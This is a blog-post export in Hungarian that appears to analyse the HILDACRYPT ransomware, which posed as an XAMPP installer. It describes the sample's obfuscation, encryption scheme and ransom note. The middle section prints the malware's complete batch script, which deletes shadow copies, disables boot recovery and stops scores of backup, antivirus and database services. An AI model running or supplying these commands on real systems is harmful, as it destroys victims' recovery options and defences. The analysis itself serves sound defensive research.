{"id":52277,"date":"2019-11-05T00:00:00","date_gmt":"2019-11-04T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam"},"modified":"2020-02-18T13:59:57","modified_gmt":"2020-02-18T10:59:57","slug":"hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","status":"publish","type":"post","link":"https:\/\/prohoster.info\/hu\/blog\/administrirovanie\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","title":{"rendered":"HILDACRYPT: \u00faj zsarol\u00f3program, amely csap\u00e1st m\u00e9r a biztons\u00e1gi ment\u0151 rendszerekre \u00e9s az antivirus megold\u00e1sokra;","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

\u00dcdv\u00f6zl\u00fcnk, Habr! Ism\u00e9t besz\u00e1molunk a k\u00e1rtev\u0151k legfrissebb verzi\u00f3ir\u00f3l, a v\u00e1lts\u00e1gd\u00edjas programok kateg\u00f3ri\u00e1j\u00e1b\u00f3l. A HILDACRYPT egy \u00faj zsarol\u00f3program, amely a 2019 augusztus\u00e1ban felfedezett Hilda csal\u00e1d k\u00e9pvisel\u0151je, amely nev\u00e9t a Netflix streaming szolg\u00e1ltat\u00e1s\u00e1nak anim\u00e1ci\u00f3s sorozat\u00e1r\u00f3l kapta, amelyet a szoftver terjeszt\u00e9s\u00e9re haszn\u00e1ltak. Ma megismerked\u00fcnk ennek a friss\u00edtett zsarol\u00f3v\u00edrusnak a technikai jellemz\u0151ivel.<\/p>\n

\"HILDACRYPT:
\n<\/a><\/noindex>
\nAz els\u0151 Hilda zsarol\u00f3programok verzi\u00f3j\u00e1ban a YouTube-on k\u00f6zz\u00e9tett el\u0151zetes<\/a><\/noindex> anim\u00e1ci\u00f3s sorozat trailer\u00e9je a v\u00e1lts\u00e1gd\u00edjlev\u00e9lben szerepelt. A HILDACRYPT ezzel szemben egy legit\u00edm alkalmaz\u00e1s, az XAMPP telep\u00edt\u0151je alatt rejt\u0151zik \u2013 egy egyszer\u0171en telep\u00edthet\u0151 Apache disztrib\u00faci\u00f3, amely tartalmazza a MariaDB-t, a PHP-t \u00e9s a Perl-t. Emellett a zsarol\u00f3program f\u00e1jlj\u00e1nak m\u00e1s neve van \u2013 xamp. R\u00e1ad\u00e1sul a zsarol\u00f3program f\u00e1jlj\u00e1nak nincs elektronikus al\u00e1\u00edr\u00e1sa.<\/p>\n

Statikus elemz\u00e9s<\/h3>\n

\nA zsarol\u00f3program PE32 .NET f\u00e1jlban tal\u00e1lhat\u00f3, amely az MS Windows alatt k\u00e9sz\u00fclt. M\u00e9rete 135 168 byte. A f\u0151 programk\u00f3d \u00e9s a v\u00e9delmez\u0151 program k\u00f3dja C# nyelven \u00edr\u00f3dott. A ford\u00edt\u00e1s d\u00e1tum- \u00e9s id\u0151b\u00e9lyege szerint a bin\u00e1ris f\u00e1jlt 2019. szeptember 14-\u00e9n hozt\u00e1k l\u00e9tre.<\/p>\n

\"HILDACRYPT:
\n
\nA Detect It Easy adatai szerint a zsarol\u00f3v\u00edrus a Confuser \u00e9s a ConfuserEx seg\u00edts\u00e9g\u00e9vel ker\u00fclt csomagol\u00e1sra, de ezek az obfuszk\u00e1l\u00f3k ugyanolyanok, mint kor\u00e1bban, csak a ConfuserEx a Confuser ut\u00f3dja, teh\u00e1t a k\u00f3djeleik al\u00e1\u00edr\u00e1sai hasonl\u00f3ak. <\/p>\n

\"HILDACRYPT:
\n
\nA HILDACRYPT val\u00f3ban a ConfuserEx seg\u00edts\u00e9g\u00e9vel van becsomagolva. <\/p>\n

\"HILDACRYPT:
\n
\nSHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a<\/p>\n

T\u00e1mad\u00e1si vektor<\/h3>\n

\nVal\u00f3sz\u00edn\u0171leg a zsarol\u00f3program egy webprogramoz\u00e1ssal foglalkoz\u00f3 oldalon lett felfedezve, amely a legit\u00edm XAMPP programnak \u00e1lc\u00e1zta mag\u00e1t.<\/p>\n

Az eg\u00e9sz fert\u0151z\u00e9si l\u00e1nc a k\u00f6vetkez\u0151 c\u00edmen l\u00e1that\u00f3: app.any.run sandbox<\/a><\/noindex>.<\/p>\n

Obfuszk\u00e1l\u00e1s <\/h3>\n

\nA zsarol\u00f3program sz\u00f6vegei titkos\u00edtott form\u00e1ban vannak t\u00e1rolva. A HILDACRYPT elind\u00edt\u00e1sakor ezeket a Base64 \u00e9s AES-256-CBC seg\u00edts\u00e9g\u00e9vel dek\u00f3dolja.<\/p>\n

\"HILDACRYPT:
\n<\/p>\n

Telep\u00edt\u00e9s<\/h3>\n

\nEl\u0151sz\u00f6r a zsarol\u00f3program egy %AppDataRoaming% mapp\u00e1t hoz l\u00e9tre, amelynek GUID (Glob\u00e1lisan Egyedi Azonos\u00edt\u00f3) param\u00e9tere v\u00e9letlenszer\u0171en gener\u00e1l\u00f3dik. A v\u00edrus hozz\u00e1ad egy .bat f\u00e1jlt ehhez a helyhez, amelyet a cmd.exe seg\u00edts\u00e9g\u00e9vel ind\u00edt el:<\/p>\n

cmd.exe \/c JKfgkgj3hjgfhjka.bat & exit
\n<\/i>
\n\"HILDACRYPT:\"HILDACRYPT:
\nEzut\u00e1n elind\u00edt egy batch scriptet, amely a rendszerfunkci\u00f3k vagy szolg\u00e1ltat\u00e1sok letilt\u00e1s\u00e1ra szolg\u00e1l.<\/p>\n

\"HILDACRYPT:
\n
\nA script egy hossz\u00fa parancslist\u00e1t tartalmaz, amellyel megsemmis\u00edti az \u00e1rny\u00e9km\u00e1solatokat, le\u00e1ll\u00edtja az SQL szervert, a biztons\u00e1gi m\u00e1solatokat \u00e9s az antiv\u00edrus megold\u00e1sokat.<\/p>\n

P\u00e9ld\u00e1ul hi\u00e1ba pr\u00f3b\u00e1lja meg\u00e1ll\u00edtani az Acronis Backup biztons\u00e1gi ment\u00e9si szolg\u00e1ltat\u00e1sait. Ezen k\u00edv\u00fcl t\u00e1madja a biztons\u00e1gi ment\u00e9si rendszereket \u00e9s az al\u00e1bbi szolg\u00e1ltat\u00f3k antiv\u00edrus megold\u00e1sait: Veeam, Sophos, Kaspersky, McAfee \u00e9s m\u00e1sok.<\/p>\n

@echo off\n:: T\u00e9nyleg nem vagyok a p\u00f3nik nagy h\u00edve, a rajzfilmes l\u00e1nyok jobbak, nem gondolod?\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=unbounded\nbcdedit \/set {default} recoveryenabled No\nbcdedit \/set {default} bootstatuspolicy ignoreallfailures\nvssadmin Delete Shadows \/all \/quiet\nnet stop SQLAgent$SYSTEM_BGC \/y\nnet stop \"Sophos Device Control Service\" \/y\nnet stop macmnsvc \/y\nnet stop SQLAgent$ECWDB2 \/y\nnet stop \"Zoolz 2 Service\" \/y\nnet stop McTaskManager \/y\nnet stop \"Sophos AutoUpdate Service\" \/y\nnet stop \"Sophos System Protection Service\" \/y\nnet stop EraserSvc11710 \/y\nnet stop PDVFSService \/y\nnet stop SQLAgent$PROFXENGAGEMENT \/y\nnet stop SAVService \/y\nnet stop MSSQLFDLauncher$TPSAMA \/y\nnet stop EPSecurityService \/y\nnet stop SQLAgent$SOPHOS \/y\nnet stop \"Symantec System Recovery\" \/y\nnet stop Antivirus \/y\nnet stop SstpSvc \/y\nnet stop MSOLAP$SQL_2008 \/y\nnet stop TrueKeyServiceHelper \/y\nnet stop sacsvr \/y\nnet stop VeeamNFSSvc \/y\nnet stop FA_Scheduler \/y\nnet stop SAVAdminService \/y\nnet stop EPUpdateService \/y\nnet stop VeeamTransportSvc \/y\nnet stop \"Sophos Health Service\" \/y\nnet stop bedbg \/y\nnet stop MSSQLSERVER \/y\nnet stop KAVFS \/y\nnet stop Smcinst \/y\nnet stop MSSQLServerADHelper100 \/y\nnet stop TmCCSF \/y\nnet stop wbengine \/y\nnet stop SQLWriter \/y\nnet stop MSSQLFDLauncher$TPS \/y\nnet stop SmcService \/y\nnet stop ReportServer$TPSAMA \/y\nnet stop swi_update \/y\nnet stop AcrSch2Svc \/y\nnet stop MSSQL$SYSTEM_BGC \/y\nnet stop VeeamBrokerSvc \/y\nnet stop MSSQLFDLauncher$PROFXENGAGEMENT \/y\nnet stop VeeamDeploymentService \/y\nnet stop SQLAgent$TPS \/y\nnet stop DCAgent \/y\nnet stop \"Sophos Message Router\" \/y\nnet stop MSSQLFDLauncher$SBSMONITORING \/y\nnet stop wbengine \/y\nnet stop MySQL80 \/y\nnet stop MSOLAP$SYSTEM_BGC \/y\nnet stop ReportServer$TPS \/y\nnet stop MSSQL$ECWDB2 \/y\nnet stop SntpService \/y\nnet stop SQLSERVERAGENT \/y\nnet stop BackupExecManagementService \/y\nnet stop SMTPSvc \/y\nnet stop mfefire \/y\nnet stop BackupExecRPCService \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop klnagent \/y\nnet stop MSExchangeSA \/y\nnet stop MSSQLServerADHelper \/y\nnet stop SQLTELEMETRY \/y\nnet stop \"Sophos Clean Service\" \/y\nnet stop swi_update_64 \/y\nnet stop \"Sophos Web Control Service\" \/y\nnet stop EhttpSrv \/y\nnet stop POP3Svc \/y\nnet stop MSOLAP$TPSAMA \/y\nnet stop McAfeeEngineService \/y\nnet stop \"Veeam Backup Catalog Data Service\" \/\nnet stop MSSQL$SBSMONITORING \/y\nnet stop ReportServer$SYSTEM_BGC \/y\nnet stop AcronisAgent \/y\nnet stop KAVFSGT \/y\nnet stop BackupExecDeviceMediaService \/y\nnet stop MySQL57 \/y\nnet stop McAfeeFrameworkMcAfeeFramework \/y\nnet stop TrueKey \/y\nnet stop VeeamMountSvc \/y\nnet stop MsDtsServer110 \/y\nnet stop SQLAgent$BKUPEXEC \/y\nnet stop UI0Detect \/y\nnet stop ReportServer \/y\nnet stop SQLTELEMETRY$ECWDB2 \/y\nnet stop MSSQLFDLauncher$SYSTEM_BGC \/y\nnet stop MSSQL$BKUPEXEC \/y\nnet stop SQLAgent$PRACTTICEBGC \/y\nnet stop MSExchangeSRS \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop McShield \/y\nnet stop SepMasterService \/y\nnet stop \"Sophos MCS Client\" \/y\nnet stop VeeamCatalogSvc \/y\nnet stop SQLAgent$SHAREPOINT \/y\nnet stop NetMsmqActivator \/y\nnet stop kavfsslp \/y\nnet stop tmlisten \/y\nnet stop ShMonitor \/y\nnet stop MsDtsServer \/y\nnet stop SQLAgent$SQL_2008 \/y\nnet stop SDRSVC \/y\nnet stop IISAdmin \/y\nnet stop SQLAgent$PRACTTICEMGT \/y\nnet stop BackupExecJobEngine \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop BackupExecAgentBrowser \/y\nnet stop VeeamHvIntegrationSvc \/y\nnet stop masvc \/y\nnet stop W3Svc \/y\nnet stop \"SQLsafe Backup Service\" \/y\nnet stop SQLAgent$CXDB \/y\nnet stop SQLBrowser \/y\nnet stop MSSQLFDLauncher$SQL_2008 \/y\nnet stop VeeamBackupSvc \/y\nnet stop \"Sophos Safestore Service\" \/y\nnet stop svcGenericHost \/y\nnet stop ntrtscan \/y\nnet stop SQLAgent$VEEAMSQL2012 \/y\nnet stop MSExchangeMGMT \/y\nnet stop SamSs \/y\nnet stop MSExchangeES \/y\nnet stop MBAMService \/y\nnet stop EsgShKernel \/y\nnet stop ESHASRV \/y\nnet stop MSSQL$TPSAMA \/y\nnet stop SQLAgent$CITRIX_METAFRAME \/y\nnet stop VeeamCloudSvc \/y\nnet stop \"Sophos File Scanner Service\" \/y\nnet stop \"Sophos Agent\" \/y\nnet stop MBEndpointAgent \/y\nnet stop swi_service \/y\nnet stop MSSQL$PRACTICEMGT \/y\nnet stop SQLAgent$TPSAMA \/y\nnet stop McAfeeFramework \/y\nnet stop \"Enterprise Client Service\" \/y\nnet stop SQLAgent$SBSMONITORING \/y\nnet stop MSSQL$VEEAMSQL2012 \/y\nnet stop swi_filter \/y\nnet stop SQLSafeOLRService \/y\nnet stop BackupExecVSSProvider \/y\nnet stop VeeamEnterpriseManagerSvc \/y\nnet stop SQLAgent$SQLEXPRESS \/y\nnet stop OracleClientCache80 \/y\nnet stop MSSQL$PROFXENGAGEMENT \/y\nnet stop IMAP4Svc \/y\nnet stop ARSM \/y\nnet stop MSExchangeIS \/y\nnet stop AVP \/y\nnet stop MSSQLFDLauncher \/y\nnet stop MSExchangeMTA \/y\nnet stop TrueKeyScheduler \/y\nnet stop MSSQL$SOPHOS \/y\nnet stop \"SQL Backups\" \/y\nnet stop MSSQL$TPS \/y\nnet stop mfemms \/y\nnet stop MsDtsServer100 \/y\nnet stop MSSQL$SHAREPOINT \/y\nnet stop WRSVC \/y\nnet stop mfevtp \/y\nnet stop msftesql$PROD \/y\nnet stop mozyprobackup \/y\nnet stop MSSQL$SQL_2008 \/y\nnet stop SNAC \/y\nnet stop ReportServer$SQL_2008 \/y\nnet stop BackupExecAgentAccelerator \/y\nnet stop MSSQL$SQLEXPRESS \/y\nnet stop MSSQL$PRACTTICEBGC \/y\nnet stop VeeamRESTSvc \/y\nnet stop sophossps \/y\nnet stop ekrn \/y\nnet stop MMS \/y\nnet stop \"Sophos MCS Agent\" \/y\nnet stop RESvc \/y\nnet stop \"Acronis VSS Provider\" \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop MSSQLFDLauncher$SHAREPOINT \/y\nnet stop \"SQLsafe Filter Service\" \/y\nnet stop MSSQL$PROD \/y\nnet stop SQLAgent$PROD \/y\nnet stop MSOLAP$TPS \/y\nnet stop VeeamDeploySvc \/y\nnet stop MSSQLServerOLAPService \/y\ndel %0\n<\/code><\/pre>\n
\nMiut\u00e1n az eml\u00edtett szolg\u00e1ltat\u00e1sok \u00e9s folyamatok le\u00e1lltak, a kriptovil\u00e1g \u00f6sszegy\u0171jti az \u00f6sszes fut\u00f3 folyamat inform\u00e1ci\u00f3j\u00e1t a tasklist parancs seg\u00edts\u00e9g\u00e9vel, hogy megbizonyosodjon arr\u00f3l, hogy minden sz\u00fcks\u00e9ges szolg\u00e1ltat\u00e1s m\u0171k\u00f6d\u00e9sk\u00e9ptelen. 
\ntasklist v \/fo csv<\/i><\/p>\n
E parancs alapj\u00e1n r\u00e9szletes list\u00e1t kapunk a fut\u00f3 folyamatokr\u00f3l, amelynek elemei vessz\u0151vel vannak elv\u00e1lasztva. 
\n\u00abcsrss.exe\u00bb,\u00ab448\u00bb,\u00abszolg\u00e1ltat\u00e1sok\u00bb,\u00ab0\u00bb,\u00ab1\u00a0896\u00a0\ufffd\ufffd\u00bb,\u00abismeretlen\u00bb,\u00bb\u00a0\/\u00a0\u00bb,\u00ab0:00:03\u00bb,\u00bb\u00a0\/\u00a0\u00bb\u00bb
\n<\/i><\/p>\n
\"HILDACRYPT:
\n
\nEllen\u0151rz\u00e9s ut\u00e1n a zsarol\u00f3program megkezdi a f\u00e1jlok titkos\u00edt\u00e1s\u00e1nak folyamat\u00e1t. <\/p>\n
Titkos\u00edt\u00e1s 
\n<\/h3>\n
F\u00e1jlok titkos\u00edt\u00e1sa<\/h4>\n
\nA HILDACRYPT v\u00e9gigmegy a tal\u00e1lt tartalmon a merevlemezeken, kiv\u00e9ve a Recycle.Bin \u00e9s Reference AssembliesMicrosoft mapp\u00e1kat. Az ut\u00f3bbiban kritikus fontoss\u00e1g\u00fa dll, pdb \u00e9s m\u00e1s f\u00e1jlok \u00e1llnak rendelkez\u00e9sre a .Net alkalmaz\u00e1sokhoz, amelyek befoly\u00e1solhatj\u00e1k a zsarol\u00f3program m\u0171k\u00f6d\u00e9s\u00e9t. A titkos\u00edt\u00e1sra ker\u00fcl\u0151 f\u00e1jlok keres\u00e9s\u00e9hez a k\u00f6vetkez\u0151 kiterjeszt\u00e9slist\u00e1t haszn\u00e1lj\u00e1k:<\/p>\n
«.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md»
\n<\/i>
\nA felhaszn\u00e1l\u00f3i f\u00e1jlok titkos\u00edt\u00e1s\u00e1hoz a zsarol\u00f3program AES-256-CBC algoritmust haszn\u00e1l. A kulcs m\u00e9rete 256 bit, m\u00edg az inicializ\u00e1l\u00f3 vektor (IV) m\u00e9rete 16 b\u00e1jt. <\/p>\n
\"HILDACRYPT:
\n
\nA k\u00f6vetkez\u0151 k\u00e9perny\u0151k\u00e9pen a byte_2 \u00e9s byte_1 \u00e9rt\u00e9kei v\u00e9letlenszer\u0171en lettek megszerezve a GetBytes() seg\u00edts\u00e9g\u00e9vel. <\/p>\n
\"HILDACRYPT:
\n
\nKulcs<\/p>\n
\"HILDACRYPT:
\n
\nV\u00cd<\/p>\n
\"HILDACRYPT:
\n
\nA titkos\u00edtott f\u00e1jl HCY kiterjeszt\u00e9ssel rendelkezik! Ez egy p\u00e9lda egy titkos\u00edtott f\u00e1jlra. Ehhez a f\u00e1jlhoz a fenti kulcs \u00e9s IV (kezdem\u00e9nyez\u0151 vektor) lett l\u00e9trehozva. <\/p>\n
\"HILDACRYPT:
\n<\/p>\n
Kulcsok titkos\u00edt\u00e1sa<\/h4>\n
\nA kiberb\u0171n\u00f6z\u0151 a gener\u00e1lt AES kulcsot a titkos\u00edtott f\u00e1jlba menti. A titkos\u00edtott f\u00e1jl els\u0151 r\u00e9sze egy fejl\u00e9cet tartalmaz, amely olyan adatokat tartalmaz, mint HILDACRYPT, KEY, IV, FileLen XML form\u00e1tumban, \u00e9s a k\u00f6vetkez\u0151k\u00e9ppen n\u00e9z ki:<\/p>\n
\"HILDACRYPT:
\n
\nAz AES kulcs \u00e9s IV titkos\u00edt\u00e1sa RSA-2048 seg\u00edts\u00e9g\u00e9vel t\u00f6rt\u00e9nik, m\u00edg a k\u00f3dol\u00e1s Base64-t haszn\u00e1l. Az RSA nyilv\u00e1nos kulcs a kiberb\u0171n\u00f6z\u0151 programj\u00e1ban tal\u00e1lhat\u00f3 egy XML form\u00e1tum\u00fa, titkos\u00edtott sorban.<\/p>\n
28guEbzkzciKg3N\/ExUq8jGcshuMSCmoFsh\/3LoMyWzPrnfHGhrgotuY\/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u\/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5\/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8\/qfjMtZ41sIIIEyajVKfA18OT72\/UBME2gsAM\/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa\/jQ==AQAB
\n<\/code><\/p>\n
Az AES-f\u00e1jl kulcs\u00e1nak titkos\u00edt\u00e1s\u00e1hoz RSA nyilv\u00e1nos kulcsot haszn\u00e1lnak. Az RSA nyilv\u00e1nos kulcs Base64 form\u00e1tumban van k\u00f3dolva, \u00e9s egy modult \u00e9s a nyilv\u00e1nos kitev\u0151t (65537) tartalmaz. A dek\u00f3dol\u00e1shoz a t\u00e1mad\u00f3 rendelkezik a z\u00e1r kulccsal.<\/p>\n
Az RSA-titkos\u00edt\u00e1st k\u00f6vet\u0151en az AES kulcsot Base64-tel k\u00f3dolj\u00e1k, amely a titkos\u00edtott f\u00e1jlban tal\u00e1lhat\u00f3.<\/p>\n
V\u00e1lts\u00e1gd\u00edj \u00fczenet<\/h3>\n
\nA titkos\u00edt\u00e1s befejez\u00e9se ut\u00e1n a HILDACRYPT egy html f\u00e1jlt \u00edr abba a mapp\u00e1ba, ahol a f\u00e1jlokat titkos\u00edtotta. A zsarol\u00f3program \u00e9rtes\u00edt\u00e9se k\u00e9t e-mail c\u00edmet tartalmaz, amelyeken a \u00e1ldozat felveheti a kapcsolatot a b\u0171n\u00f6z\u0151vel.<\/p>\n